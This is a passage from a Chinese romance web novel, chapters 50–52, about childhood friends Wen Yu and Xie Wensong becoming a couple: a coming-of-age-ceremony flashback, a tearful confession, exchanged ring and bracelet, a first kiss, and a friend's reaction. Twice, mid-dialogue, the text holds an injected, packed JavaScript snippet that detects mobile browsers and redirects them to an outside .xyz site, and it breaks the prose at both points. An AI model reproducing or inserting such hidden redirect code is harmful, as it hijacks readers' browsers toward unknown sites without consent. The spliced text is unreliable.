她自己都没发现心中扬起星星点点的骄傲,仿佛脚下的高跟鞋都能走出风来。 成人门布置得很好看,只是现在拍照人太多,温遇和程以桉商量着一会儿再去,便先约着去小卖部买点零食。 温遇早上没吃东西,现在胃里直泛酸。裙腰很宽松,吃点东西不碍事。 怕弄脏裙子,温遇和程以桉找了两把塑料椅,椅子稍微有点矮,她只能先把裙摆往一块收拢再坐。 “诶?”程以桉正翻看手机,从旁边的椅子上站起来,看向温遇:“宝,我哥在门口了,我去找一下他,一会回来哈。” 程以灏今天上午正好没课,听说妹妹要参加成人礼,一大早就从学校赶过来,温遇说你去吧。 目送程以桉的背影,想起刚才陪同同学一起来的家长,嘴里的面包突然有些噎人,温遇吃了一半就放回包里了。 “一会儿一起拍张?” 身边有个人走过来,温遇甚至连头都不用回,单凭声音就知道是谁。 “行啊。” “虽然他们都没来,不过我们也并不只有自己不是?” 谢闻颂口中的“他们”是谁,不言而喻。 乔若琳和谢景舟由于工作原因,这段时间也不在家,自然也没办法来陪儿子参加成人礼。 在这方面的缺口上,他们意外契合。 “你会难过吗?” “这种重要的时刻没被他们见证。” 温遇看向旁边已经坐下来的人,问了这么一句。 “倒不觉得难过。”谢闻颂笑得很轻:“至少你还在,不是么?” “一起长大的人没被时光冲散,也是一种幸福。” 他说完这句话才往她这边看,似乎对她的反应很好奇,温遇也被这句话触动心弦,挪开目光的同时小声嗯了下。 温遇和程以桉用拍立得拍了不少照片,最后愣是把带去的相纸都拍光才算结束,程以桉和哥哥约了饭打声招呼提前走,温遇收拾好东西正要给谢闻颂发消息,扭头已经看见他站在班门口。 也不知道从什么时候开始,她一回头,总是不意外出现谢闻颂的身影。 拍完照回来的时候班里基本已经没人了,温遇整理好包里的东西就往门口走。 刚要下楼梯,才发现脚上的高跟鞋还没换。 谢闻颂注意到她片刻的停顿,目光落在她露出来的鞋尖上:“现在换鞋?” 温遇犹豫:“下去再换吧。” 送他们回家的车还没到,他们只好先站在路边,郁郁葱葱的树下,两个人肩并肩站在一起,温遇从手提包里拿出早晨带的那双软底平底鞋放在地上。 她没太弯腰,怕裙角蹭到地面,但是一边拎包一边提裙摆,还要顾及拖鞋,实在不太方便。 谢闻颂留意到她的动作,原本还揣在兜里的手也拿出来,整个人蹲在温遇旁边,帮她收拢裙摆,稍微往上提了提,不会蹭到地面。 “你——”温遇咬唇。 谢闻颂将右脚的平底鞋放在旁边:“换吧。” 细碎光影化成点状精灵游移在他们身上,谢闻颂单手帮她提裙摆,另只手把她要穿和换下的鞋拿到对应的位置,她换好鞋连腰都没弯,全是谢闻颂帮的忙。 碎钻高跟被谢闻颂单手拎起来,他腾出另外的手,把头顶的帽子摘下来,给温遇戴上。 某人使了点坏,故意用帽沿挡她的眼睛。 温遇也在笑,伸出手盲拍了他一下:“你干嘛!” 视线短暂相隔的这几秒,谢闻颂没让眼神表达得太过明显。 他啧声,为自己的捉弄找借口。 “太热了,怕你中暑。” 可那天下午的风并不热,吹到身上的温度正好,温遇也只当他是心血来潮非得捉弄自己一下,却不会料到那是遮挡藏不住心动的眼神。 那是谢闻颂少有的冲动。 和纱裙同色的粉色蝴蝶结丝带飘荡在温遇的发间,直至风停,斡旋的气流平稳下来,只剩下一点卷起她的发尾,微微带着晃。 和枝尖的绿叶摇晃同频。 那是夏天,那是记忆难忘的十八岁。 是谢闻颂带着温遇去租礼裙的十八岁。 这一场成人礼不想也不应该有遗憾。 谢闻颂低头看向手中的高跟鞋。 唇角被风而牵。 青春有千千万万种,有你在是最好的一种。 鱼鱼公主,十八岁快乐。 50.荔枝 50/ 有些回忆,仅仅只是想起,动容就能穿过时间,与现在的她指尖相触。 温遇在想,这份喜欢到底可以持续多久,又是可以压抑多久,才让谢闻颂一直坚持到现在。 她不知道他是从什么时候喜欢上她的,不过可以肯定的是,一定比现在早很久。 过去的记忆被带到此刻,当年那个在路边帮她提裙角换鞋的少年此刻仍旧站在她的身边,可以说继续沿用“守护”这个词。 过去的他喜欢着她。 现在仍是。 温遇曾经因为一时的较真反问他:“怎么,你喜欢得很坚定?” 是的,他很坚定。 原来那些沉默从来都不是否定。 而是默认。 感情用很难解释的时间延续,如果只有一个人知道,那各种滋味,也只有他自己尝过而已。 而喜欢的特殊性恰恰也在于滋味并不能让人代替事人品尝,所以温遇想读明白他的喜欢,必然只有一种方法。 就是试图一层又一层剖开谢闻颂隐藏的心事,成为彼此世界里唯一踏入的人。 只是这样酸涩的情绪,温遇也曾感受过。 所以才更觉得不好受。 她好像跑了一圈长跑,带着满身的汗和酸,后知后觉回来的时候,发现谢闻颂还在原地等她。 他又何尝不是怀着忐忑的心情,期待她会不会回来。 忐忑她会不会就此不再回头,一路跑下去。 那这种心情,是不是更难熬呢? 温遇从他问完自己要不要去吃饭就开始掉眼泪,她用袖口挡住通红的眼睛,然后回忆起曾经互相给过温暖的时刻,又默默把手放下。 坦然地把自己的脆弱交给谢闻颂。 无须担心自己的难过被他参透,而是想和他共同分担,成为真正可以彼此依靠的伴侣。 这次她没有流着泪还要硬说自己不痛,而是抖着声音说她好难过。 “谢闻颂,我好难过。” 她果然还是最习惯在他面前披露脆弱。 就像从前的很多时候,她会问他:“这要怎么办呀谢闻颂。” 坚信不会的难题都找他,准不会有错。 因为温遇一直都相信谢闻颂。 在她选择逃避,选择别扭那些和谢闻颂的接触,也不过是压抑自己心中涟漪下意识的方式。 原谅她在这方面不够勇敢,才让他们各自在感情上兜圈。 而她对谢闻颂的感情也不单纯。 或者换句话来说。 她也喜欢谢闻颂。 喜欢到,有点想和他在一起。 这样迟来的冲击让温遇的情绪全线崩盘,可她又一句话也说不出来,只能像个无助的小孩一样看眼前的人,期待他会有怎样的回应。 谢闻颂蹲在她面前,从兜里摸出包手帕纸,撕开包装,一点点帮她把眼泪擦掉。 越擦越多,从她眼中汩汩滚落。 看来真是受了不少委屈。 不然怎么会掉这么多眼泪。 谢闻颂感觉手指上一片湿漉漉,倏然叹了口气,随手将纸巾揉成团塞进口袋里,一鼓作气站直身,将温遇搂进怀里。 他单手揽住温遇的肩膀,腾出另一只手,掌心轻轻摩挲她的长发。 谢闻颂一直重复着:“我们回家。” 那天在喷泉前,她同样身处难过的时刻,谢闻颂也对她说这四个字。 回家。 回他们的家。 回不只有温遇一个人的家。 回只有谢闻颂和温遇两个人的家。 温遇紧紧揪着他的T恤,全身最后的力气仅仅用在这,谢闻颂垂头吻她的发顶,任由身上的衣服被她抓皱。 等到温遇情绪稍微平复一些,谢闻颂把自己头顶的鸭舌帽拿下来给她戴上。 他戴帽子的动作很仔细,俨然一副耐心帮女朋友整理头发和帽子的模样,她刚才蹭乱的发丝也被他顺手捋好,整个过程,温遇都在看他。 没有逃避,仅仅在用单薄的眼神试图渡过来一点他这些年隐藏的心思。 似乎要从他的每个动作里找出那份心动的痕迹。 宽帽檐从侧边挡住她的眼睛,帽子有点大,温遇本来脸也小,从正面看她的脸被遮掉大半,泛红的双眼也就并不明显了。 只是这样更像兔子了。 谢闻颂帮她整理好头发,手刚要放在膝盖上,被温遇从半空中截住。 女孩柔软的指腹贴于他手背,将他的手拉到自己腿上。 温遇动作轻得像只小猫。 谢闻颂什么也没问,唇角抿直看向她。 “谢闻颂。” “嗯。” 单音节字也说得很乖。 温遇眼角的泪水还未干,即便努力平复语气,可很多事像潮水汹涌上心头,也着实令人难耐。 她鼻尖一酸,坚持把话说完。 “你说,我们是不是错过了很多年?” 谢闻颂漆黑的瞳孔先是一愣,随即明白了她这句话的意思。 那一瞬间是什么感觉呢? 冲动到谢闻颂很想再抱她一下。 温遇握紧他的手,柔顺的长发从耳旁垂落,被风微微撩开。 她紧紧盯着谢闻颂,似乎对这个问题的答案格外在意。 对面的人先是垂眼笑了笑,反倒是对这个问题没有过多纠结,继而上抬视线看着她的眼睛,语气轻松平常。 仿佛这么多年的等待和守候并不值一提。 “不是啊。” “你不是来了吗?” 只要你来了,就永远都不算晚。 天暗下来以前,还好你来了。 - 温遇晚饭没吃多少,谢闻颂眼观鼻鼻观心看在眼里,想起她刚才问自己的话,很久没有翻涌起来的情绪在此刻重新猛烈。 以前说,爱一个人的最高境界是心疼。 谢闻颂也在不知不觉间将喜欢幻化为爱,具体是哪个瞬间让他的感情变得厚重,不再像青春时所撰写的情书那样纤薄,他也摸不太透。 他只知道,每次看见温遇难过的时候,他都想要不算了,不要再隐藏自己那不能克制的眼神,冲上去直接抱住她。 如果她发现种种端倪,那就发现吧。 反正无论如何,他都不想让温遇掉眼泪。 于是曾经幼稚的想法被他抛却。 什么为不为重要的人掉眼泪。 和她快乐幸福比起来,根本算不得什么。 “谢闻颂。” 温遇低头咬住刚从番茄锅里捞出来的菜叶,低头咬着,含糊喊他的名字。 “嗯。” 谢闻颂帮她把杯子里快喝完的酸梅汤满上。 “你把手伸出来。” 温遇放下筷子,一只手在兜里摸出个什么,没让谢闻颂看见。 还挺神秘。 谢闻颂这会儿是真猜不出她心里在想什么。 不过只要不是在想刚才难过的事,也没什么。 对于温遇偶尔突然蹦出来古灵精怪的小想法,他倒也乐于配合。 他们坐在对面,谢闻颂朝她伸出手,本来以为她是要给自己什么,手心朝上伸过去,结果温遇看他吐出四个字:“手背过去。” “……” 好吧,他听话就是了。 温遇一边捏着衣兜里的小东西,一边看谢闻颂伸过来的手。 这人长了张上镜都显小的脸,手却不小,得比她大一圈。 掌心干净宽瘦,指关节长,按照网上的话来说就是特别有骨感,指甲只修剪到窄窄一条白边,一点污垢也没藏。 温遇思绪劈叉,如果不是性别不对,她甚至想给他做个美甲。 温遇本想偷偷瞄他一眼,结果被正主抓个正着,她重新把目光放在手上。 想到接下来自己要做的事,脸庞不自觉升温。 手心也有点冒汗。 “你先把眼睛闭上。” 谢闻颂听她的话合上双眼,手指被她攥住,动作轻得好似小猫在挠。 他被挠得有点痒。 一个冰冰凉凉的东西先被推上他的中指,不过有点小,没推进去,温遇还嘟囔一句他手怎么这么大。 这句吐槽被谢闻颂听到,让他闭上眼也能忍俊不禁。 温遇又换成他的无名指,将冰凉的小东西从指尖推到指底,谢闻颂隐隐猜到那是什么,心尖猝然划过一抹紧张和激动。 他并不是个彻头彻尾的木头人,那些平时不怎么表现出来的情绪,只有特别重要的人才能牵动出来。 太久没有体会过的情绪,牵出来的那瞬间竟也会紧张和意外。 谁会在自己喜欢的人面前波澜不惊呢? 反正他不能。 “好了。” 温遇收回手,谢闻颂睁开眼,看到手指上被她套进去的东西。 那是一枚指环,外轮廓仔细看可以瞧出是莫比乌斯环,通体素净却不显单调,反而颇具设计感。 温遇见他盯着手指上的东西,想到自己这个动作是不是有点太暧昧了,于是说话有些磕磕巴巴:“这是我在游乐场买的,我戴不合适,所以就送给你了。” 谢闻颂抬眼看她。 笨蛋。 说谎话又不打草稿。 如果不合适,她又怎么会买。 谢闻颂用指尖轻轻旋转戴在他无名指上的那枚指环,眼神颇具兴味地看了眼耳廓已经悄悄红了的女孩。 “这样啊。”他慢悠悠拉长语调。 温遇还特别认真回了句对,像在证实刚刚蹩脚的理由。 谢闻颂并不打算戳穿她什么,带着好奇反问:“为什么送我这个?” “没有什么为什么。”温遇选择低头把刚刚咬了一半的青菜全部吃完,“就是突然想给你。” 本以为她这句话能让谢闻颂沉默下来,结果这人只是笑了声,声音里至少带了百分之六十的肯定。 “确定不是因为喜欢我?” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505715|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 温遇有时候是真“讨厌”他这张嘴。 “温遇,你真的不懂送我指环的意思吗?” 他手肘搭在桌沿,上半身向她那边靠近:“还是说,你怕我读懂?” 谢闻颂没喊他温鱼鱼,每次他只喊温遇这两个字的时候,似乎都在说很重要的话。 重要到她的心也随之提起,等待他下一句要说什么。 可这次偏偏等到他说完,温遇都不知道下一句要怎么说。 她虽然是一时脑热,但也确实是被谢闻颂说中。 她想给自己的男朋友一点小礼物,来表示她喜欢他。 正在温遇不知道该怎么答的时候,谢闻颂倒是先笑了。 “没事,你不用说。” “你只要知道我喜欢你就好了。” 明明是很让人心动的一句话,落到温遇这却觉得少点什么。 自从和谢闻颂捅破那层朦胧似纱的暧昧以后,他还和以前一样用行动表示他对她的感情,却很少说这样一句话。 很多相处方式还和从前一样,可毕竟两个人之间的关系有所改变,谢闻颂从善如流进入角色,她却需要反应一段时间。 以至于将那份也不再单纯的感情藏起,温遇平添慌乱和逃避。 她也并不是对谢闻颂一点感觉也没有。 相反,她也动了心思。 只是温遇还不知道要什么时候才能把这句话说出来。 我喜欢你。 仅仅四个字,其实很正式。 谢闻颂一直是行动大于言语,这点温遇不会质疑。 所以当他在今晚毫无保留,甚至可以说是自然而然地把这句喜欢说出来,实则是也懂了她的意思。 先确定自己的感情,再确认她的心思。 为“我喜欢你”这四个字烫上颜色。 于是当她羞于启齿时,谢闻颂选择率先开口。 这何尝不是一语双关呢。 温遇得承认,谢闻颂照顾她的这些小细节,实在是太戳她。 戳她到,不知不知觉把心交出去了都不知道。 “现在该我了。” 谢闻颂朝她伸出手:“你把眼睛闭上。” 四目相对,温遇稍微睁大眼睛:“你不会也准备了指环吧。” 哪里会有这么巧的事。 她当时在园区里买的时候也只是因为一眼相中这款设计的别致,当时完全没想着给谢闻颂戴上。 临时起意而已,怎么会…… 谢闻颂没说话,单侧眉毛往上挑了下,示意她把手伸出来。 温遇闭上眼,把手伸过去。 腕间环绕一圈重量,她睁眼,看到手腕上刚被人戴上的手链。 银色细链,碎钻镶嵌其间,中间缭绕一颗打磨成多面棱角的粉钻。 谢闻颂正在帮她调整长度,目光专注如炬,灯光倾落下的剪影像碎钻折射的微芒跃进他眼中。 专注的他确实很帅。 不然怎么把她的眼睛养刁。 温遇很少这么看他,眼神都没挪开,倒是脸越来越红,偏偏手腕还在他那撤不回来。 谢闻颂帮她调整好长度,看了眼她升温的脸,同侧的手突然摊开掌心向下,和她碰到一起,特别坏地用手指勾挑进她的指缝,与她十指相扣。 他动作特别快,温遇根本没时间反应,便被带着与他指间纠缠在一起。 温遇愣愣看着他们掌心相合的双手,这次没想逃开。 她心底升起股勇气,往前探身,和谢闻颂一样将手肘架在桌面上,然后缓缓搭下自己的五根手指。 两个人的手完整闭合。 温度在交融。 她忽然想起那天在绵安的酒店里,谢闻颂因为担心她会害怕做噩梦,把桌子搬到床边,离床近的那只手掌心向下,和她搭在一起,让温度来回踱步。 只是不像如今这样严丝合缝,不过这也象征着他们之间的感情只进未退。 谢闻颂圈着指环的手指落在她这边,温遇凑近看,感觉这人比自己更适合戴戒指。 而她手腕上的碎钻手链像条银河,那是谢闻颂为她所创。 指环和手链。 越看越喜欢。 温遇腼腆地朝他笑。 “我男朋友的眼光挺好的。” 谢闻颂还是选择谦虚一下:“还是我女朋友的眼光更好。” 温遇噗嗤一声笑出来,“谢闻颂,有没有人和你说过,你说这种话的时候,真的和平时很割裂。” 本以为得到这样一句评价,某人会把不开心直接挂脸上,结果谢闻颂一副无所谓的表情,反而还挺骄傲。 “割裂就割裂。” “反正除了你,我也不会和其他人说。” 温遇盯着他喝水上下挪动的喉结,在想这人是不是把喜欢憋了太久。 不然怎么说一句话犯规一句话。 温遇拍拍发烫的脸颊。 哎呀。 好讨厌。 好喜欢。 51.荔枝 51/ 吃完火锅,温遇和谢闻颂迈出店里,准备去外面取车回蓝湾。 刚走出店门,温遇的手便被谢闻颂拉住。 这人现在已经能在牵手时熟稔地穿插进她的指缝,简直恨不得和她的手长在一起。 虽然看上去有点腻歪,温遇却没忍住在心底悄悄摇起一杆甜蜜的旗。 谈恋爱原来是这样的感觉吗? 感觉脚下走的每一步都像踩在雪里。 如梦似幻,半分真实半分梦。 温遇感觉脸连着脖子都在发烫,想到刚才吃火锅的时候喝了点果酒,不至于让她醉,微醺而已。 现在走至室外,接触到外面的冷气,身上莫名的舒服。 谢闻颂要开车,酒自然没有碰一星半点。 手上被温暖包裹,温遇扭头的同时,谢闻颂假装咳嗽:“天有点冷,想暖暖手。” 温遇不太留情面戳穿他:“可是现在已经是春天了诶。” “……” 某人嘴硬:“春天也冷。” 怎么会有人这么臭屁。 温遇在想,他直接承认想牵手这么难吗? 可偏偏她现在特别想看谢闻颂直球的模样,于是使坏地停下脚步,直至某人没拉动她,疑惑转头看站在身后的温遇。 “怎么了?” 她幽幽注视他:“真的是因为手冷吗?” 四目相对,无数的情愫在暗处滋生漫长。 谢闻颂听她说完,偏头同时极轻笑了声,都不用多少力,手还和她牵在一起,稍微带点劲就能把她带过来,单手把她拉进怀里。 温遇的下巴搁在他的肩膀上,而全身都被他轻柔的力道裹着。 她抿唇笑,双手也缓缓抬起,搂住他的后背。 幸好谢闻颂看不见她脸上的表情,稍微还有点难为情。 不过只害羞了两秒。 她自暴自弃想。 噢。 这是她男朋友。 谢闻颂带着笑音的声线在耳边起伏,耳郭仿佛被蝴蝶触角轻碰,所有克制和故意忽略都只能隔靴搔痒,温遇脸又开始发烫,不声不响将脸埋进他的肩膀。 全身上下只有心跳不听话。 谢闻颂空着的那只手从温遇颈后绕过,掌心裹住她的肩膀。 “嗯,不是。” “是我想牵你。” 好……好直球。 这人不直球的时候说话高低得让人反应半天,直球的时候又不太让人能扛得住。 如她所料得到直球,感觉自己的反应和她想象中的得意并不一样。 反而心率快得可怕。 温遇懊恼这样不争气脸红的自己。 全世界都是谢闻颂的气息,温遇一点也不排斥这种感觉。 好像……她也在等这一刻似的。 谢闻颂再次重复一遍:“是我想牵你。” “就像这个时候。” “也是我想抱你。” …… 温遇上车以后,酒精上头的感觉要比刚刚浓烈些,谢闻颂一向开车稳,她比较放心在车上进入梦乡。 只不过还没等困意酝酿个充分,温遇便被储物格里手机的振动弄得睁开眼睛。 她一开始以为是谢闻颂的手机,反应两秒才想起来,她下午在人偶剧场时把手机调成振动了。 拿起一看,是温成钢打来的电话。 温遇鼻息猝然加重,缓两秒才接通。 她这边没说话,对面的男人率先试探性开口:“温温啊,你回家了吗?” “嗯。” 温成钢似乎没想到她是这个反应,也自知理亏尬笑两声,“那个……小途的情况已经稳定下来了,但估计今晚还得是在医院待着。” 温遇听到这,还是没说话。 红灯在前面亮起,谢闻颂适时停车,狭小的空间内,其实他也能听见温遇打电话的声音,包括电话那头的人在说什么。 她没主动避讳,谢闻颂便也假装无事发生。 不过刚刚几句话入耳,他也大概猜到今天发生了什么,才让温遇一个人坐在长椅上哭。 本就声音很小的车载音乐被谢闻颂再次调小,每个音符都在低频音区跳动。 霓虹灯流淌在层层车流里,朦朦胧胧汇成一条灯带,温遇却越看眼前越发虚。 电话那头的声音还在继续:“你妈妈今天也是有点急了,爸爸在这给你道个歉。” “孩子,别往心里去。” 温成钢说到这,心里也挺不好受似的叹了口气:“你妈妈一直以来的性格你也知道,以往她也很少有这种情绪激动的时候,这次要不是真着急也不能……” 话没说完,可是意思温遇自然懂。 无非是不要因为这件事和他们产生嫌隙。 是啊,徐翩禾一直在内在外都是一副脾气温软的模样,说话向来轻声细语,从不主动和人发生冲突。 可是这样情绪激动的时候,没有一次为过她。 很小的时候她因为发育上的迟缓导致自我封闭,不愿意和同学说话,受了欺负,徐翩禾从来都不知道。 后来她也明白,有些事必须得自己去反抗。 寄托于人,总是太过幻境。 哪怕那么小的她似乎只能依靠父母活着。 温遇也觉得自己没什么可说的,不过她这边要是没反应,温成钢势必不能结束通话。 于是她模棱两可道:“我知道了。” 温遇说完,对面先是沉默,然后响起脚步声,温成钢像是走到了一片稍微安静点的地方,声音也小了很多。 “事情你有和小颂说吗?” “……” 提起这件事,温遇感觉太阳穴突突直跳,她自然知道谢闻颂在旁边能听得见。 正因为听得见,所以她才觉得难堪。 喉咙仿佛被人掐住,声带被撕扯着往外一个字一个字硬挤。 “我今天没和他联系。” 温成钢也知道这事不好办,现下还得再找机会,他叹了口气让温遇照顾好自己,随即主动挂断电话。 温遇盯着手机屏幕亮起又熄灭,然后又重新放回车里的储物格,靠近侧门的那只手把窗户降下来,一股股冷风从车窗外涌进来。 吹散她脸上的热度,也把那点本就不多的微醺清走。 没吹一会儿,也就半分钟的时间,某人便把她这边的车窗重新升上去。 温遇扭过头去,试图用眼神进行无声控诉。 谢闻颂像从琴键上掠过一般,轻轻用指尖拨弄她的刘海:“乖一点,别吹风了。” “我可不想这个点把车开到医院。” “……” 颇欠的一句话,成功让温遇静音,她叛逆心渐起,反手再次把车窗降下来。 发丝顺着脸颊弧度被吹向一侧,温遇扭头就朝谢闻颂抬起下巴。 一副我就要吹风你能拿我怎样的表情。 谢闻颂懂公主独有的傲娇和叛逆,她突然使小性子的时侯并不多见,他情绪也被钓起来。 不过他并不着急此刻和她一较高下。 车从高速上下来驶入市区,谢闻颂找了个边上不碍事的地方停车,大半个身子都面向温遇,就那么直勾勾盯着她,双手闲散地搭在胸前,似乎有的是时间和她耗。 谢闻颂用眼神将车内气压略微降低,看得温遇浑身发毛。 他们之间距离不近不远,只是被车里空间压缩圈在一个世界里,正因如此,眼神流淌出来的每一点情绪都有别的深意。 温遇强撑着不被他的气场压下去,嘴上仍旧硬气,实际动作比谁都诚实。 在谢闻颂看不见的死角,单手默默又把车窗给升上去。 某人将她的口嫌体直见证了个透彻,忍不住在心里莞尔,女孩的每个微表情都很生动,似乎都在催促着他有别的想法。 比如,再靠近她一点。 再比如,去吻她的脸。 谢闻颂低头,掩藏住喉结的上下挪动,心里在想她如果每次都这样,他到底要怎么办。 车身隐没在黑暗里,借着一点光,温遇没看清他脸上的表情。 只看见他把头低下去,不知道在看哪儿。 她摸不太准,伸出手指戳了戳谢闻颂的手背:“真生气了?” 谢闻颂抬头看她和刚才比变化的表情,卷翘的睫毛将透进车里的那一点点微光搅散,流沙一般下浸在瞳孔里,闪烁着担心和关切。 笨蛋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533760|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么可能生气。 不过谢闻颂并没说自己没生气,顺着她的话挺幼稚地来了句:“你哄我一下,我就不生气。” “……?” 这人怎么这么幼稚。 多大个人了,还要人哄。 温遇无奈之余又有点想笑。 在哄人这方面,温遇的的确确算个小白。 更别提哄男朋友了。 小白到她思忖了好半天,都不知道这个哄该从哪里开始。 诶,想得她脑壳痛。 与此同时,对面的谢闻颂表面上其实看着平静,实则内心对接下来发生的事无比期待。 甚至有点紧张。 他见温遇似乎准备好,试探性往前俯身—— “那你别生气了?” “…………” 谢闻颂缓慢眨了一下眼。 之前的期待无声无息化作齑粉,随风而扬,扬了个干净。 他随手把车点上火,重新驶上路,啧声评价:“哄得一点诚意也没有。” 温遇坐回位置,抿唇道:“下次吧。” “行。” …… 后半程两个人都没怎么说话,温遇是只要一闭上眼就想起今天在游乐场发生的事,原本还算平静的心情又有些下沉的趋势。 于是她决定不再去想,似有若无地用余光往旁边的人身上瞟。 虽然有时候她和谢闻颂之间也有很多独有的小默契,让他们的关系似乎并不止于普通朋友。 不过有些想法,她也猜不透。 她现在回想刚刚给他想要的“哄”,自己也觉得有点好笑。 就好比有人跟你说可不可以安慰我一下。 然后她回了个“你别难过”。 温遇单手撑起额头,只感觉天塌了。 然后想想。 算了,天塌了正好可以当棺材板用。 …… 上楼的时候,温遇都走到电梯,才发现自己的挎包放在车里没给拿上来,和谢闻颂说完,他让她先上楼,他过去取。 温遇站在门口,上身半倚在门板,双手揣进大衣兜里,低头想些什么。 谢闻颂的速度并不慢,拿个包而已,电梯门打开,他看见温遇就那么背靠着门站在门口。 一副犯了错的模样。 温遇见他走过来,转身用指纹打开门锁。 “啪嗒”一声,谢闻颂在她身后问:“怎么刚才不进门?” 温遇随手把围巾解下来挂在门口,闻言转身笑着看他,顺手把头发揽到耳后。 “想等你。” 她说完便往客厅走,谢闻颂单手撑在门框边,低头没过两秒,兀自笑了。 这不是挺会哄吗? 温遇刚才进屋的时候没给客厅开灯,谢闻颂怕她暗里看手机伤眼睛,正准备拍开灯,沙发上传来她的声音—— “不用开灯。” 谢闻颂听她的语气似乎感觉她不太舒服,步伐带着身体往沙发那边靠,膝盖抵在沙发沿,手刚要试探温遇额头的温度,半空中被她精准截住。 她指尖轻轻旋转那枚指环,谢闻颂黑暗中不太能看清她脸上的表情,“不舒服?” 温遇摇头,发尾扫过肩膀。 谢闻颂刚要说什么,手上的力道倏然撤去,他稍微恍惚的时间而已,温遇的双臂已经从他两侧肩膀勾在他颈后,被迫着让他头更低些。 他下意识用手撑住沙发背。 衣料的摩擦声泛起静电,仿佛一簇簇的小火苗燎烤布丁上的将化未化的焦糖。 女孩上身直起,在黑暗中寻到他的唇,试图将唇瓣的每一道纹路拓在他那儿。 温遇吻的很单纯,只是和谢闻颂轻轻碰着,将他偏凉的唇一点点渡热。 平时嘴那么硬的人,亲起来唇却很软。 第一次做这种坏事,她动作也有点抖,大脑空白到连草稿也没有,只得生涩碰他的唇,可偏偏在这样暗色的房间里,每一点试探都极具诱惑。 温遇贴着他的唇,小狐狸似的笑了下,就那么贴在彼此的唇之间,借着所剩无几的空隙说话,气息全都洒在彼此呼吸之间,再次撩起一层炽热。 “谢闻颂。” “……哄好了吗?” 52.荔枝 52/ “健康的恋爱固然重要,但畸形的关系实在精彩。” 这是程以桉得知好闺蜜恋情憋出的第一句评价。 如果说程以桉得知温遇已经进入恋爱期时是震惊,那么在得知对象是谢闻颂,她甚至怀疑眼前的人被夺舍了。 这还是她认识的温遇吗? 这俩人是什么时候打破中间的那一层纸的距离走到一起的? 做朋友那么多年,一朝成情人,多多少少有点太玄幻。 “不是吧你。”程以桉身上披着毯子都要把头扭到温遇那边,“我才几天没见你而已,外面的世界都天翻地覆了?” 今天难得的周末时光,程以桉终于把这位资深宅女从家里拖出来,一起到外面耍耍,顺便约了个SPA,结果约出来之后才知道,她无形中“得罪”了某人。 原来温遇出门之前,某人正和她一起坐在沙发上看电影。 程以桉感觉后背冷飕飕的:“你怎么和他说的?” 根本顾不上问他们恋爱的始末,其实程以桉和她做朋友这么多年,多多少少对她身边的另一尊大佛怵怵的。 “就说我和你约好了一起出去。”温遇稍微回忆一下,“他好像也没说什么。” 虽然耷拉着脑袋半倚在沙发上,看她的眼神带点幽怨成分。 像只被抛弃的大型犬。 和趴在自己窝里正咬毛绒球的核桃情绪完全是两个极端。 不过整体还算爽快。 温遇打算回来再补偿他。 她趴在按摩床上和程以桉对视,把之前心里的疑问道出:“你是不是和谢闻颂有过矛盾?” 这种感觉温遇不是第一次有。 她和程以桉认识不晚,本来都是一个圈子里的人,只不过真的熟悉起来是因为在同一个班。 当时谢闻颂高一和她还在一个楼时,两个人平时一起上学一起放学,延续着从小到大的习惯,而程以桉作为她同桌,自然很清楚她和谢闻颂之间的关系。 刚开始貌似也很正常,直至后来每次她们在走廊碰见谢闻颂,他要找自己说话的时候,程以桉都会火速离开。 她敏锐察觉那是除了避嫌之外别的原因。 之后每次他们三个碰到一起,程以桉看见谢闻颂站在她旁边,她也很少靠过来。 今天正好和这件事串起来,温遇也有些好奇。 程以桉听她这么说,难得支支吾吾起来,像是有什么难言之隐一般。 见她这样,温遇的兴趣一下子被人拽起来,将碎发拨到耳后,同时挪着身体向她那边靠近了点:“为什么?” “不是之前传他不好惹……”程以桉说得没什么底气,甚至说完就后悔了。 其实不管圈子里外是怎么评价谢闻颂的,她和温遇在一起那么长时间,就算和他没什么交集的人,她也知道谢闻颂也相当有原则。 不好惹的前提也得是惹。 点头之交,哪怕不熟悉,谢闻颂也会给尽人礼貌,摆着架子给人蛮横也不是他的作风,他也觉得拿身份压人这种事太过没品。 谢闻颂这人什么样,你相处起来一点就大概可以摸到。 像一块羊脂玉,刚开始触摸时是冷的,可在手里没一会儿就能升温。 也许是因为他的交际圈实在太过简单,真正能让他升温的人又实在太少,关注到他的人虽多,不过都只能隔着距离,自然也只能从细枝到不能再细枝的地方挖到那么一角。 其实这点他们还挺像的,是为数不多不互补的地方。 就是从来不靠别人的评价支撑起自己。 他们都是内核很强大的人。 温遇现在也觉得,看起来那么冰的人,实则内里竟然会是甜的。 温遇想到这,又没忍住甜蜜一下,不过她也没忘程以桉刚才说过的话。 她给了个温遇轻易就猜破的理由。 四目相对,程以桉的心虚根本架不住,想想还是决定主动招认:“我跟你说,你得替我保密啊。” 她犹豫着:“就是我高中某次放学,看见他在校外和人打架来着。” 温遇大脑宕机几秒:“啊?” - 程以桉提起的这事温遇完全没印象。 她具体问是什么时候,程以桉想了下,说大概是高二的冬天。 对标具体时间,温遇再次尝试着回忆一下,还是没什么头绪。 那时候她和谢闻颂已经分开到两座楼上课,加上高一下册他们拌嘴的那一次,有相当一段时间没怎么说过话。 小时候互相看不对眼的劲儿仿佛又被重新拿上来,温遇那个时候想的是—— 谁先低头自然就是谁先输。 